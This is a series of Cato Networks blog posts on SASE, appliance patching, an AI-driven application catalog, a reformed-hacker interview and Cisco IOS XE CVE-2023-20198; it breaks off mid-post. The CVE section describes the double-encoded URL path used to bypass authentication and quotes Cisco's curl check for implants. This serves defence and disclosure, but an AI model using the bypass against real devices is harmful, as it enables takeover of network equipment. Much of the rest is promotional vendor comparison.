CISA and NIST, like their peer government agencies in the world, have dedicated teams of experts tasked with quantifying the risks of obsolete security solutions and discovered vulnerabilities, and the urgency of safeguarding against their exploitation. Such agencies do not exist in the private sector. If you are not a well-funded organization with an established team of cyber experts, following the government’s guidance is both logical and effective.
What you should do vs what you can do
Being aware of government agencies guidance on cyber security is extremely important. Awareness, however, is just one part of the challenge. The second part, usually the much bigger part, is following their guidance. Instructions, also referred to as ‘orders’ or ‘directives,’ to update operating systems and patch hardware products arise on a weekly basis, and most enterprises, both public and private, struggle to keep up.
Operating systems like Windows and macOS have come a long way in making software updates automatic and simple to deploy. Many enterprises have their computers centrally managed and can roll out a critical software update in a matter of hours or days.
Hardware appliances, on the other hand, are not so simple to patch. They often serve as critical infrastructure so IT must be careful about disrupting their operation, often delaying until a weekend or holiday. Appliances such as routers, firewalls, secure web gateways (SWG) and intrusion prevention systems (IPS) have well-earned reputations of being extremely ‘sensitive’ to updates. Historically, they do not continue to operate the same after a patch or fix, leading to lengthy and frustrating troubleshooting, loss of productivity and heightened risk of attack. The challenge in rapidly patching appliances is known to governments as it is known to cyber attackers. Those appliances, often (mis)trusted as the enterprise perimeter security, are effectively the easy and preferred way for attackers to enter an enterprise.

The CISA KEV Catalog – Focus on what’s important
Prioritization has become a necessity as most enterprises can’t really spend their resources in continuous patching cycles. The US CISA’s Known Exploited Vulnerability (KEV) catalog which mandates the most critical patches for government organizations, helps enterprises in the private sector know where to focus their efforts.
The KEV catalog also exposes some important insights worth paying attention to. Cloud-native security vendors such as Imperva Incapsula, Okta, Cloudflare, Cato Networks and Zscaler don’t have a single record in the database. This is because their solution architecture allows them to patch and fix vulnerabilities in their ongoing service, so enterprises are always secured.
Hardware vendors, on the other hand, show a different picture. As of September of 2023, Cisco has 65 records, VMware has 22 records, Fortinet has 11 records, and Palo Alto Networks has 4 records.
Cyber risk analysis and the inevitable conclusion
CISA’s KEV is just the tip of the iceberg. Going into the full CVE (Common Vulnerabilities and Exposures) database shows a much more concerning picture.
FortiOS, the operating system used across all of Fortinet’s NGFWs has over 130 vulnerabilities associated with it, 31 of which disclosed in 2022, and 14 in the first 9 months of 2023. PAN-OS, the operating system in Palo Alto Networks’ NGFWs has over 150 vulnerabilities listed. Cisco ASA, by the way, is nearing 400. For comparison, Okta, Zscaler and Netskope are all in the single-digit range, and as cloud services, are able to address any CVE in near-zero time, and without any dependency on end customers.
Since most enterprises lack the teams and expertise to assess the risk of so many vulnerabilities and the resources to continuously patch them, they are forced by reality to leave their enterprises exposed to cyber-attacks.
The risk of trusting in appliance-based security vs. cloud-based security is clear and unquestionable. It is clear when you look at CISA’s KEV and even clearer when you look at the entire CVE database.
All of this leads to the inevitable conclusion that at some point, perhaps not too far ahead in the future, government agencies such as the US NIST and CISA will recommend against or even ban appliance-based security solutions.
Some practical advice
If you think the above is a stretch, just take a look at Fortinet’s own analysis of a recent vulnerability, explicitly stating it is targeted at governments and critical infrastructure: https://www.fortinet.com/blog/psirt-blogs/analysis-of-cve-2023-27997-and-clarifications-on-volt-typhoon-campaign.
Security appliances have been around for decades, and yet, the dream of a seamless, frictionless, automatic and risk-free patching for these products never came true. It can only be achieved with a cloud-native security solution.
If your current security infrastructure is under contract and appliance-based, start planning how you are going to migrate from it to a cloud-native security at the coming refresh cycle.
If you are refreshing now or about to soon, thoroughly consider the ever-increasing risk in appliances.
New applications emerge at an almost impossible to keep-up-with pace, creating a constant challenge and blind spot for IT and security teams in the form... Read ›
Cato Application Catalog – How we supercharged application categorization with AI/ML New applications emerge at an almost impossible to keep-up-with pace, creating a constant challenge and blind spot for IT and security teams in the form of Shadow IT. Organizations must keep up by using tools that are automatically updated with latest developments and changes in the applications landscape to maintain proper security.
An integral part of any SASE product is its ability to accurately categorize and map user traffic to the actual application being used. To manage sanctioned/unsanctioned applications, apply security policies across the network based on the application or category of applications, and especially for granular application controls using CASB, a comprehensive application catalog must be maintained.
At Cato, keeping up required building a process that is both highly automated and just as importantly, data-driven, so that we focus on the applications most in-use by our customers and be able to separate the wheat from the chaff.In this post we’ll detail how we supercharged our application catalog updates from a labor-intensive manual process to an AI/ML based process that is fully automated in the form of a data-driven pipeline, growing our rate of adding new application by an order of magnitude, from tens of application to hundreds added every week.
What IS an application in the catalog?
Every application in our Application Catalog has several characteristics:
General – what the company does, employees, where it’s headquartered, etc.
Compliance – certifications the application holds and complies with.
Security – features supported by the application such as if it supports TLS or Two-Factor authentication, SSO, etc.
Risk score – a critical field calculated by our algorithms based on multiple heuristics (detailed here later) to allow IT managers and CISOs focus on actual possible threats to their network.
Down to business, how it actually gets done
We refer to the process of adding an application as “signing” it, that is, starting from the automated processes up to human analysts going over the list of apps to be released in the weekly release cycle and giving it a final human verification (side note: this is also presently a bottleneck in the process, as we want the highest control and quality when publishing new content to our production environment, though we are working on ways to improve this part of the process as well).
As mentioned, first order of business is picking the applications that we want to add, and for that we use our massive data lake in which we collect all the metadata from all traffic that flows through our network.We identify these by looking at the most used domains (FQDNs) in our entire network, repeating across multiple customer accounts, which are yet to be signed and are not in our catalog.
[boxlink link="https://catonetworks.easywebinar.live/registration-everything-you-wanted-to-know-about-ai-security"] Everything You Wanted To Know About AI Security But Were Afraid To Ask | Watch the Webinar [/boxlink]
The automation is done end-to-end using “Shinnok”, our in-house tool developed and maintained by our Security Research team, taking the narrowed down list of unsigned apps Shinnok begins compiling the 4 fields (description, compliance, security & risk score) for every app.
Description – This is the most straightforward part, and based on info taken via API from Crunchbase
Compliance – Using a combination of online lookups and additional heuristics for every compliance certification we target; we compile the list of supported certifications by the app.For example by using Google’s query API for a given application + “SOC2”, and then further filtering the results for false positives from unreliable sources we can identify support for the SOC2 compliance.
Security – Similar to compliance, with the addition of using our data lake to identify certain security features being used by the app that we observe over the network.
Risk Score – Being the most important field, we take a combination of multiple data points to calculate the risk score:
Popularity: This is based on multiple data points including real-time traffic data from our network to measure occurrences of the application across our own network and correlated with additional online sources. Typically, an app that is more popular and more well-known poses a lower risk than a new obscure application.
CVE analysis: We collect and aggregate all known CVEs of the application, obviously the more high-severity CVEs an application has means it has more opening for attackers and increases the risk to the organization.
Sentiment score: We collect news, mentions and any articles relating to the company/application, we then build a dataset with all mentions about the application.We then pass this dataset through our advanced AI deep learning model, for every mention outputting whether it is a positive or negative article/mentions, generating a final sentiment score and adding it as a data point for the overall algorithm.
Distilling all the different data points using our algorithms we can calculate the final Risk Score of an app.
WIIFM?
The main advantage of this approach to application categorization is that it is PROACTIVE, meaning network administrators using Cato receive the latest updates for all the latest applications automatically. Based on the data we collect we evaluate that 80% - 90% of all HTTP traffic in our network is covered by a known application categorization.Admins can be much more effective with their time by looking at data that is already summarized giving them the top risks in their organization that require attention.
Use case example #1 – Threads by Meta
To demonstrate the proactive approach, we can take a look at a recent use case of the very public and explosive launch of the Threads platform by Meta, which anecdotally regardless of its present success was recorded as the largest product launch in history, overtaking ChatGPT with over 100M user registrations in 5 days.In the diagram below we can see this from the perspective of our own network, checking all the boxes for a new application that qualifies to be added to our app catalog. From the numbers of unique connections and users to the numbers of different customer accounts in total that were using Threads.
Thanks to the automated process, Threads was automatically included in the upcoming batch of applications to sign. Two weeks after its release it was already part of the Cato App Catalog, without end users needing to perform any actions on their part.
Use case example #2 – Coverage by geographical region
As part of an analysis done by our Security Research team we identified a considerable gap in our coverage of application coverage for the Japanese market, and this coincided with feedback received from the Japan sales teams on lacking coverage.Using the same automated process, this time limiting the scope of the data from our data lake being inputted to Shinnok only from Japanese users we began a focused project of augmenting the application catalog with applications specific to the Japanese market, we were able to add more than 600 new applications over a period of 4 months.
Following this we’ve measured a very substantial increase in the coverage of apps going from under 50% coverage to over 90% of all inspected HTTP traffic to Japanese destinations.
To summarize
We’ve reviewed how by leveraging our huge network and data lake, we were able to build a highly automated process, using real-time online data sources, coupled with AI/ML models to categorize applications with very little human work involved.The main benefits are of course that Cato customers do not need to worry about keeping up-to-date on the latest applications that their users are using, instead they know they will receive the updates automatically based on the top trends and usage on the internet.

From Shadow to Guardian: The Journey of a Hacker-Turned Hero In the ever-evolving landscape of cybersecurity, the line between the defenders and attackers often blurs, with skills transferable across both arenas. It’s a narrative not unfamiliar to many in the cybersecurity community: the journey from black hat to white hat, from outlaw to protector.
In the 15th episode of Cato Networks’ Cyber Security Master Class, hosted by Etay Maor, Senior Director of Security Strategy, we had the privilege of witnessing such a transformative story unfold.
Hector Monsegur, once known in the darker corners of the internet, shared his gripping journey of becoming one of the good guys – a white hat hacker. Monsegur is a former Lulzsec hacker group leader Sabu and currently serves as director of research at Alacrinet.
His story is not just one of redemption but is a beacon of invaluable insights into the complex cybersecurity landscape.
The Allure of the Abyss
Monsegur’s tale began in the abyss, the place where many black hat hackers find a home. Drawn by the allure of challenge and the thrill of breaking into seemingly impregnable systems, Monsegur recounted his early days of cyber mischief. Like many others in his position, it wasn’t greed or malice that fueled his journey; it was curiosity and the quest for recognition in a community that celebrates technical prowess.
However, as he emphasized in his conversation with Maor, the actions of black hat hackers have real-world consequences. They affect lives, destroy businesses, and even threaten national security. It was this realization, alongside consequential run-ins with the law, that marked the turning point in Monsegur’s life.
[boxlink link="https://catonetworks.easywebinar.live/registration-becoming-a-white-hat"] Becoming a White Hat : An interview with a former Black Hat | Watch the Webinar [/boxlink]
Crossing the Chasm
The transition from black hat to white hat is more than just a title change – it’s a complete ideological shift. For Monsegur, the journey was fraught with challenges. Rebuilding trust was one of the significant hurdles he had to overcome. He had to prove his skills could be used for good, to defend and protect, rather than to disrupt and damage.
It was through this difficult transition that Monsegur highlighted the importance of opportunity. Many black hats lack the channel to pivot their skills into a legal and more constructive cybersecurity career. Monsegur’s case was different. He was presented with a chance to help government agencies fend off the kind of attacks he once might have initiated, turning his life around and setting a precedent for other reformed hackers.
A Valuable Perspective
One of the most compelling takeaways from the interview was the unique perspective that former black hats bring to the table. Having been on the other side, Monsegur understands the mindsets and tactics of cyber attackers intrinsically. This insider knowledge is invaluable in anticipating and mitigating attacks before they happen.
In his white hat role, Monsegur has been instrumental in helping organizations understand and fortify their cyber defenses. His approach goes beyond traditional methods – it’s proactive, driven by an intimate knowledge of how black hat hackers operate.
The White Hat Ethos
Becoming a white hat hacker is not merely a career change; it is an ethos, a commitment to using one’s skills for the greater good. Monsegur emphasized the satisfaction derived from protecting people and institutions from the threats he once posed. This fulfillment, according to him, surpasses any thrill that black hat hacking ever offered.
In his dialogue with Maor, Monsegur didn’t shy away from addressing the controversial aspects of his past. Instead, he leveraged his experiences to educate and warn of the dangers lurking in the cyber shadows. He expressed a desire to guide those walking a similar path to his past, steering them towards using their talents constructively.
Fostering Redemption in Cybersecurity
The cybersecurity community, Monsegur believes, has a role to play in fostering redemption. He advocates for the creation of paths for black hats to reform and join the ranks of cybersecurity professionals. By providing education, mentorship, and employment opportunities, the community cannot only help rehabilitate individuals but also strengthen its defenses with their unique skill sets.
Monsegur’s story serves as a powerful reminder that the road to redemption is possible. It emphasizes that when directed positively, the skills that once challenged the system can become its greatest shield.
Closing Thoughts
As the interview ended, the overarching message was clear: transformation is possible, and it can lead to powerful outcomes for both the individual and the broader cybersecurity ecosystem. Hector Monsegur’s journey from black hat to white hat hacker is not just a personal victory but a collective gain for the community seeking to safeguard our digital world.
Through stories like Monsegur’s, we find hope and a reminder that within every challenge lies the potential for growth and change. It is up to us, the cybersecurity community, to embrace this potential and transform it into a force for good.

Cisco IOS XE Privilege Escalation (CVE-2023-20198) – Cato’s analysis and mitigation By Vadim Freger, Dolev Moshe Attiya, Shirley Baumgarten
All secured webservers are alike; each vulnerable webserver running on a network appliance is vulnerable in its own way. On October 16th 2023 Cisco published a security advisory detailing an actively exploited vulnerability (CVE-2023-20198) in its IOS XE operating system with a 10 CVSS score, allowing for unauthenticated privilege escalation and subsequent full administrative access (level 15 in Cisco terminology) to the vulnerable device.After gaining access, which in itself is already enough to do damage and allows full device control, using an additional vulnerability (CVE-2023-20273) an attacker can elevate further to the “root” user and install a malicious implant to the disk of the device.
When the initial announcement was published Cisco had no patched software update to provide, and the suggested mitigations were to disable HTTP/S access to the IOS XE Web UI and/or limiting the access to it from trusted sources using ACLs and approx. a week later patches were published and the advisory updated.The zero-day vulnerability was being exploited before the advisory was published, and many current estimates and scanning analyses put the number of implanted devices in the tens of thousands.
[boxlink link="https://www.catonetworks.com/rapid-cve-mitigation/"] Rapid CVE Mitigation by Cato Security Research [/boxlink]
Details of the vulnerability
The authentication bypass is done on the webui_wsma_http or webui_wsma_https endpoints in the IOS XE webserver (which is running OpenResty, an Nginx variant that adds Lua scripting support). By using double-encoding (a simple yet clearly effective evasion technique) in the URL of the POST request it bypasses checks performed by the webserver and passes the request to the backend. The request body contains an XML payload which the backend executes arbitrarily since it’s considered to pass validations and comes from the frontend.In the request example below (credit: @SI_FalconTeam) we can see the POST request along with the XML payload is sent to /%2577ebui_wsma_http, when %25 is the character “%” encoded, followed by 77, and combined is “%77” which is the character “w” encoded.
Cisco has also provided a command to check the presence of an implant in the device, by running: curl -k -X POST "https[:]//DEVICEIP/webui/logoutconfirm.html?logon_hash=1", replacing DEVICEIP and checking the response, if a hexadecimal string is returned an implant is present.
Cato’s analysis and response to the CVE
From our data and analysis at Cato’s Research Labs we have seen multiple exploitation attempts of the CVE, along with an even more interesting case of Cisco’s own SIRT (Security Incident Response Team) performing scanning of devices to detect if they are vulnerable, quite likely to proactively contact customers running vulnerable systems.An example of scanning activity from 144.254.12[.]175, an IP that is part of a /16 range registered to Cisco.
Cato deployed IPS signatures to block any attempts to exploit the vulnerable endpoint, protecting all Cato connected sites worldwide from November 1st 2023.Cato also recommends to always avoid placing critical networking infrastructure to be internet facing. In instances when this is a necessity, disabling HTTP access and proper access controls using ACLs to limit the source IPs able to access devices must be implemented.
Networking devices are often not thought of as webservers, and due to this do not always receive the same forms of protection e.g., a WAF, however their Web UIs are clearly a powerful administrative interface, and we see time and time again how they are exploited. Networking devices like Cisco’s are typically administered almost entirely using CLI with the Web UI receiving less attention, somewhat underscoring a dichotomy between the importance of the device in the network to how rudimentary of a webserver it may be running.

SSE Is a Proven Path for Getting To SASE Modern enterprise complexity is challenging cybersecurity programs. With the widespread adoption of cloud services and remote work, and the broadening distribution of applications and employees away from traditional corporate locations, organizations require a more flexible and scalable approach to network security. SASE technology can help address these issues, making SASE adoption a goal for many organizations worldwide. But adoption paths can vary widely.
To get an understanding of those adoption paths, and the challenges along the way, the Enterprise Strategy Group surveyed nearly 400 IT and cybersecurity professionals to learn of their experiences. Each survey respondent is in some way responsible for evaluating, purchasing, or managing network security technology products and services.
One popular strategy is to ease into SASE by starting with security service edge (SSE), a building block of SASE which integrates security capabilities directly into the network edge, close to where users or devices connect. Starting with SSE necessitates having an SSE provider with a smooth migration path to SASE. Relying on multiple vendors leads to integration challenges and deployment issues.
The survey report, SSE Leads the Way to SASE, outlines the experiences of these security adopters of SSE/SASE. The full report is available free for download. Meanwhile, we’ll summarize the highlights here.
Modernization Is Driving SASE Adoption
At its core, SASE is about the convergence of network and security technology. But even more so, it’s about modernizing technologies to better meet the needs of today’s distributed enterprise environment.
Asked what’s driving their interest in SASE, respondents’ most common response given is supporting network edge transformation (30%). This makes sense, considering the network edge is no longer contained to branch offices. Other leading drivers include improving security effectiveness (29%), reducing security risk (28%), and supporting hybrid work models (27%).
There are numerous use cases for SASE
The respondents list a wide variety of initial use cases for SASE adoption—everything from modernizing secure application access to supporting zero-trust initiatives. One-quarter of all respondents cite aligning network and security policies for applications and services as their top use case. Nearly as many also cite reducing/eliminating internet-facing attack surface for network and application resources and improving remote user security.
The report groups the wide variety of use cases into higher level themes such as improving operational efficiency, supporting flexible work models, and enabling more consistent security.

Security Teams Face Numerous Challenges
One-third of respondents say that an increase in the threat landscape has the biggest impact on their work. This is certainly true as organizations’ attack surfaces now extend from the user device to the cloud.
The Internet of Things and users’ unmanaged devices pose significant challenges, as 31% of respondents say that securely connecting IoT devices in our environment is a big issue, while 29% say it’s tough to securely enable the use of unmanaged devices in our environment.
31% of respondents are challenged by having the right level of security knowledge, skills, and expertise to fight the good fight.
Overall, 98% of respondents cite a challenge of some sort in terms of securing remote user access to corporate applications and resources. More than one-third of respondents say their top remote access issue is providing secure access for BYOD devices. Others are vexed by the cost, poor security, and limited scalability of VPN infrastructure. What’s more, security professionals must deal with poor or unsatisfactory user experiences when having to connect remotely.
Companies Ease into SASE with SSE
To tame the security issues, respondents want a modern approach that provides consistent, distributed enforcement for users wherever they are, as well as a zero-trust approach to application access, and centralized policy management. These are all characteristics of SSE, the security component of SASE. Nearly three-quarters of respondents are taking the path of deploying SSE first before further delving into SASE.
SSE is not without its challenges, for example, supporting multiple architectures for different types of traffic, and ensuring that user experience is not impacted. Ensuring that traffic is properly inspected via proxy, firewall, or content analysis and in locations as close to the user as possible is critical to a successful implementation.
ESG’s report outlines the important attributes security professionals consider when selecting an SSE solution. Top of mind is having hybrid options to connect on-premises and cloud solutions to help transition to fully cloud-delivered over time.
Respondents Outline Their Core Security Functions of SSE
While organizations intend to eventually have a comprehensive security stack in their SSE, the top functions they are starting with are: secure web gateway (SWG), cloud access security broker (CASB), zero-trust network access (ZTNA), virtual private network (VPN), SSL decryption, firewall-as-a-service (FWaaS), data loss prevention (DLP), digital experience management (DEM), and next-generation firewall (NGFW).
Turning SSE into SASE is the Goal
While SSE gets companies their security stack, SASE provides the full convergence of security and networking. And although enterprise IT buyers like the idea of multi-sourcing, the reality is that those who have gone the route of multi-vendor SASE have not necessarily done so by choice. A significant number of respondents say they simply feel stuck with being multi-vendor due to lock-in from recent technology purchases, or because of established relationships.
Despite the multi-vendor approach some companies will take, many of the specific reasons respondents cite for their interest in SSE would be best addressed by a single-vendor approach. Among them are: improving integration of security controls for more efficient management, ensuring consistent enforcement and protection across distributed environments, and improving integration with data protection for more efficient management and operations—all of which can come about more easily by working with just one SSE/SASE vendor. It eliminates the time and cost of integration among vendor offerings and the “finger pointing” when something goes wrong.
Even Companies in Early Stages are Realizing Benefits
Most respondents remain in the early stages of their SSE journey. However, early adopters are experiencing success that should help others see the benefits of the architecture. For example, 60% say that cybersecurity has become somewhat or much easier than it was two years ago.
Those who have started the SASE journey have realized benefits, too. Nearly two-thirds report reduced costs across either security solutions, network solutions, security operations, or network operations. Similarly, 62% cite efficiency benefits of some kind, such as faster problem resolution, ease of management, faster onboarding, or reduction in complexity. Proof points like these should pique the interest of any organization thinking about SASE and SSE. View the full survey report, SSE Leads the Way to SASE, here.

6 Steps for CIOs To Keep Their IT Staff Happy According to a recent Yerbo survey, 40% of IT professionals are at high risk of burnout. In fact, and perhaps even more alarming, 42% of them plan to quit their company in the next six months. And yet, according to Deloitte, 70% of professionals across all industries feel their employers are not doing enough to prevent or alleviate burnout.
CIOs should take this statistic seriously. Otherwise, they could be dealing with the business costs of churn, which include loss of internal knowledge and the cost of replacing employees, both resulting in putting strategic plans on hold.
So, what’s a CIO to do? Here are six steps ambitious CIOs like you can take to battle burnout in the IT department and keep their staff happy.
This blog post is a short excerpt of the eBook “Keeping Your IT Staff Happy: How CIOs Can Turn the Burnout Tide in 6 Steps”. You can read the entire eBook, with more details and an in-depth action plan, here.
Step 1: Let Your Network Do the Heavy Lifting
If your IT team is receiving negative feedback from users, they might be feeling stressed out. Poor network performance, security false positives and constant user complaints can leave them feeling dread and anxiety about that next “emergency” phone call.
SASE can help ease this pressure. SASE provides reliable global connectivity with optimized network performance, 99.999% uptime and a self-healing architecture that ensures employees can focus on advancing the business, instead of tuning and troubleshooting network performance. With SASE, IT managers can provide a flawless user experience and business continuity, while enjoying a silent support desk.

Step 2: Leverage Automation to Maximize Business Impact
IT professionals are often caught in a cycle of mundane activities, leaving them feeling unchallenged. Instead of having IT teams fill the time with endless maintenance and monitoring, CIOs can focus their IT teams on work that achieves larger business objectives. SASE automates repetitive tasks, which frees up IT to focus on strategic business objectives. In addition, the repetitive tasks become less prone to manual errors.
Step 3: Eliminate Networking and Security Solution Sprawl with Converged SASE
IT teams are swamped with point solutions, each corresponding to a specific, narrow business problem. All of these solutions create a complicated mix of legacy machines, hardware and software; which are difficult for IT to operate, maintain, support and manage.
With SASE, CIOs can transform their network into a single platform with a centralized management application. IT can now gain a holistic view of their architecture, and enjoy easy management and maintenance.
Step 4: Ensure Business Continuity and Best-in-class Security with ZTNA
Working from anywhere has doubled IT’s workload. They are now operating in reactive mode, attempting to support end-user connectivity and security through VPNs that were not built to support such scale.
SASE is the answer for remote work, enabling users to work seamlessly and securely from anywhere. Eliminating VPN servers removes the need to backhaul traffic and improves end-user performance. Traffic is authenticated with Zero Trust and inspected with advanced threat defense tools to reduce the attack surface.
Step 5: Minimize Security Vulnerabilities Through Cloudification and Consolidation
Global branches, remote work, and countless integrations between network and security point products have created an expanding attack surface. For IT, this means fighting an uphill battle without the tools they need to win.
A SASE or SSE solution helps IT apply consistent access policies, avoid misconfigurations and achieve regulatory compliance. This also allows them to prevent cyber attacks in real time and helps the organization remain secure and prevent compliance issues.
Step 6: Bridge Your Team’s Skillset Gap and Invest in Their Higher Education
Skills gaps occur for a number of reasons. Whatever the reason, this can leave your IT team members feeling overwhelmed and professionally unfulfilled, resulting in them leaving the organization.
Providing training and professional development helps IT professionals succeed, which in turn, may motivate them to remain in their roles longer, according to a recent LinkedIn survey. These benefits are felt everywhere and by everyone from the IT professional who receives more at-work satisfaction, to CIOs who don’t have to backfill the skills gaps externally. This enables the organization to achieve ambitious plans for growth and business continuity through technology.To read more about how CIOs can tackle IT burnout head on, click here to access the full eBook.

The PoP Smackdown: Cato vs. Competitors…Which Will Dominate Your Network? In the world of professional wrestling, one thing separates the legends from the rest: their presence in the ring. Like in wrestling, the digital world demands a robust and reliable presence for the ultimate victory. Enter Cato Networks, the undisputed champion regarding Secure Access Service Edge (SASE) Points of Presence (PoPs). In this blog post, we'll step into the ring and discover why Cato Networks stands tall as the best SASE PoP provider, ensuring businesses are always secure and connected.
SASE providers will talk about and even brag about their points of presence (PoPs) because it is the underlying foundation of their backbone network. But if you look a little closer, you will see that not all PoPs are the same and that the PoP capabilities vary greatly.
A point of presence is a data center containing specific components that allow the traffic to be inspected and enforce security. Sounds easy enough. It depends on how those PoPs are designed to function and where the PoPs are located to be of the most value to your organization.
Let’s look at the competition—first, the heavyweight hardware contender, Fortinet. Fortinet has twenty-two PoPs globally. Fortinet relies on its customer install base to do the networking and security inspection at every location globally. This adds complexity and multiple caveats to their SASE solution. The added complexity comes from managing numerous products, keeping them up to date with software and patches, and ensuring they are all configured correctly to enable the best possible protection.
[boxlink link="https://www.catonetworks.com/resources/take-the-global-backbone-interactive-tour/"] Take the Global Backbone Interactive Tour | Start the Tour [/boxlink]
Next, the challenger to the heavyweight title, Palo Alto Networks. They claim many PoPs, but you need to look deeper at where those PoPs are hosted. The vast majority of PANs Prisma Access PoPs are in Google Cloud Platform and some in Amazon Web Services. This adds cost and complexity, making the solution more difficult to manage. Additionally, if you want to use multiple security features, your data will probably have to be forwarded to various PoPs to get full coverage…impacting performance. Since Palo Alto utilizes the public cloud infrastructure, many of the claimed PoPs are just on-ramps to the Google fiber backbone. This is not the best option if you are trying to balance connectivity, security, and cost.
Finally, we have Cato Networks. Cato has an impressive 80+ PoPs that are connected via Tier 1 ISPs, creating the world's largest full-mesh SASE-focused private backbone network. At Cato, all our security capabilities are available from every single PoP worldwide. Since Cato’s PoPs are cloud-native and purpose-built for security and networking functionality, it allows Cato to be highly agile and straightforward to manage…regardless of where your organization has its locations. Speaking of location, Cato has strategically placed our PoPs closest to major business centers all over the globe, including three PoPs in China, and new PoPs are added every quarter based on demand and customer requirements.
In the world of wrestling, champions rise to the occasion with unmatched presence and skills. Cato Networks proves itself as the ultimate champion in the realm of SASE with the best PoPs. With a global reach, low latency, battle-tested security, simplified management, cost-efficiency, and always-on connectivity, Cato Networks ensures your business operates securely and efficiently like a wrestling legend in the ring. So, if you are looking for the best SASE PoPs, look no further – Cato Networks is the undisputed champion!

Rocking IT Success: The TAG Heuer Porsche Formula E Team’s City-Hopping Tour with SASE TAG Heuer Porsche Formula E Team Picture this: A rock band embarking on a world tour, rocking stages in different cities with thousands of adoring fans. But wait, behind the scenes, there's an unsung hero—the crew. They're the roadies, the ones responsible for building the infrastructure that supports the band's electrifying performances in each new location. Now, let's take that same analogy and apply it to the TAG Heuer Porsche Formula E Team.
We invited Friedemann Kurz, Head of IT at Porsche Motorsport, to a special webinar where we discussed how technology drives these races and IT’s key role.
Join us as we dive into the IT requirements faced by this cutting-edge racing team and how SASE (Secure Access Service Edge) rises to the occasion, ensuring a flawless journey from one city to another.
Top IT Requirements
The TAG Heuer Porsche Formula E Team’s IT team faces a number of networking challenges. Surprisingly (or not) these challenges are not that different from the challenges faced by IT teams across all organizations. From battery energy to braking points, and time lost for Attack Mode, the IT support team at the Porsche test and development center in Weissach and trackside will work in parallel to process approximately 300 GB of data on one Cato Networks dashboard to make time critical decisions. Some of these challenges include:
Finding the Right Products
The TAG Heuer Porsche Formula E Team’s IT provides services in a high-pressure environment -- and expectations are high. On-track, the IT team is limited in size, so each person needs to be able to operate all IT-related aspects, from network to storage to layers one to five to end-to-end monitoring. This makes choosing the right products and technologies key to their success.
Operational Efficiency
With so many actions happening simultaneously during the race, IT needs to be able to focus on the issues that matter most. This requires in-depth monitoring that is easy-to-use and the ability to fix issues instantly.
Security
Security needs to be built-in to the solution to ensure it doesn’t require additional effort from the team. Security is a key success factor, meaning all IT team members focus on security, rather than having a dedicated security person.
Easy Deployment
The TAG Heuer Porsche Formula E Team operates worldwide, but they only spend a few days at each global site. Every time they arrive at a new city, IT needs to quickly deploy networking and security from scratch (with no existing infrastructure) and pack it up after the race. This whole process only takes a few days, so it has to be efficient and quick. In addition, the rest of the team arrives on site at the same time as the IT team, demanding connectivity immediately.

IT Capabilities Required to Win Races
Why is the IT team a key component in the TAG Heuer Porsche Formula E Team’s success? Here are a few of the networking and security capabilities they rely on:
Data Analysis
Races are a data-driven and data-intensive event, with large amounts of data being transmitted back and forth across the global network. For example, the TAG Heuer Porsche Formula E Team downloads the car and racetrack data after the races. Then, the engineers in the operations room at the team’s headquarters analyze the data for improving the team’s setup and strategy.
Real-Time Communication
During the races, the team relies on global real-time communication. It is the most critical way of communication between the driver, the support engineers and the operations room. This means that real-time packages that are transmitted across the WAN need to be optimized to ensure quality of services.
Driver in the Loop
The TAG Heuer Porsche Formula E Team’s success relies on large-scale mathematical models that use the data to find better racing setups and strategies. Their focus is on the energy use formula, since, ideally, drivers complete the races with zero battery left. Zero battery means it was the most efficient race. The ability to calculate these formulas is based on data that is transferred back and forth between the track and the headquarters.
Ransomware Protection
The sports industry has been targeted by cyber attackers in the past with ransomware and other types of attacks. To protect their ability to make decisions during races, the TAG Heuer Porsche Formula E Team needs a security solution that protects them and their ability to access their data from ransomware attacks. Since data is the cornerstone of their strategy and key for their decision-making, safeguarding access to the data is top priority.
How Cato’s SASE Changed the Game
To answer these needs, the TAG Heuer Porsche Formula E Team partnered with Cato Networks. Cato Networks was chosen as the team’s official SASE partner. Cato Networks helps transmit large volumes of data in real-time from 20 global sites.
Before working with Cato Networks, the TAG Heuer Porsche Formula E Team used VPNs. This introduced security, configuration and maintenance challenges. Now, maintenance and effort have significantly decreased. One IT member on-site can oversee, manage and monitor the entire network during the races independently and flexibly.
In addition, Cato delivered:
Fast implementation - from 0 to 100% in two weeks.
Simplified and efficient operations.
Quick response times.
Personal and open-minded support.

Business Continuity at Difficult Times of War in Israel As reported in global news, on October 7th, 2023, the Hamas terror organization has launched a brutal attack on Israeli cities and villages, with thousands of civilian casualties, forcing Israel to enter a state of war with Hamas-controlled Gaza.
While Cato Networks is a global company with 850+ employees in over 30 countries around the world, a significant part of our business and technical operations is based out of Tel Aviv, Israel.
The following blog details the actions we are taking based on our Business Continuity Procedures (BCP), adjusted to the current scenario, to ensure the continuity of our services that support our customers’ and partners’ critical network and security infrastructure.
Business Continuity by Design
Our SASE service was built from the ground up as a fully distributed cloud-native solution. One of the key benefits of our solution architecture is that it does not have a single point of failure. Our operations teams have built and trained AI engines to identify signals of performance or availability degradation in the service and respond to them autonomously.
This is part of our day-to-day cloud operations, and as a result, downtime in one or more of our PoPs does not disrupt our customers’ operations. Our SASE Cloud high-availability and self-healing have already been put to the test before, and proved itself.
Our stock of Sockets has always been globally distributed across warehouses in North America, Europe and APJ. All our warehouses are fully stocked, and no shortage or long lead times is expected. In fact, we have been able to overcome global supply chain challenges before.
24x7x365 Support
Our support organization is designed to always be there for our 2000+ enterprise customers, where and when they need us. We are committed to ensure that support availability to our customers remains intact even during adverse conditions like an armed conflict or a pandemic.
We operate a global support organization from the United States, Canada, Colombia, United Kingdom, Northern Ireland, The Netherlands, Israel, Poland, Ukraine, Macedonia, Singapore, Philippines and Japan. All teams work in concert to deliver a 24/7/365 follow-the-sun service, making sure no support tickets are left unattended.
Customers who require support should continue to contact us through our standard support channels, and will continue to receive the support levels they expect and deserve.
BCP Activation in Israel
The Cato SASE service is ISO 27001 and SOC2 certified as well as additional, global standards.
A mandatory part of such certifications is to have Business Continuity Procedures (BCP) in place, practice them periodically, and improve or fine-tune as needed.
Our BCP was not only tested synthetically, but was successfully activated during the COVID-19 epidemic. In March 2020, we moved our entire staff to work remotely. Using the ZTNA capabilities of Cato SASE Cloud, the transition was smooth, and no customers experienced any impact on the service availability, performance, and support.
We have now re-activated the same BCP for our staff in Israel. Our technical organizations are able to securely connect remotely to our engineering, support, and DevOps systems and continue their work safely from their homes.
Beyond BCP
In the current situation, we are taking additional steps to further our increase our resiliency.
October 8th, 2023:
We have extended shifts of our support teams in APJ to reinforce the teams in EMEA.
We have assigned T3 support engineers to T1 and T2 teams to ensure our support responsiveness continues to meet and exceed customers' expectations.
October 10th, 2023:
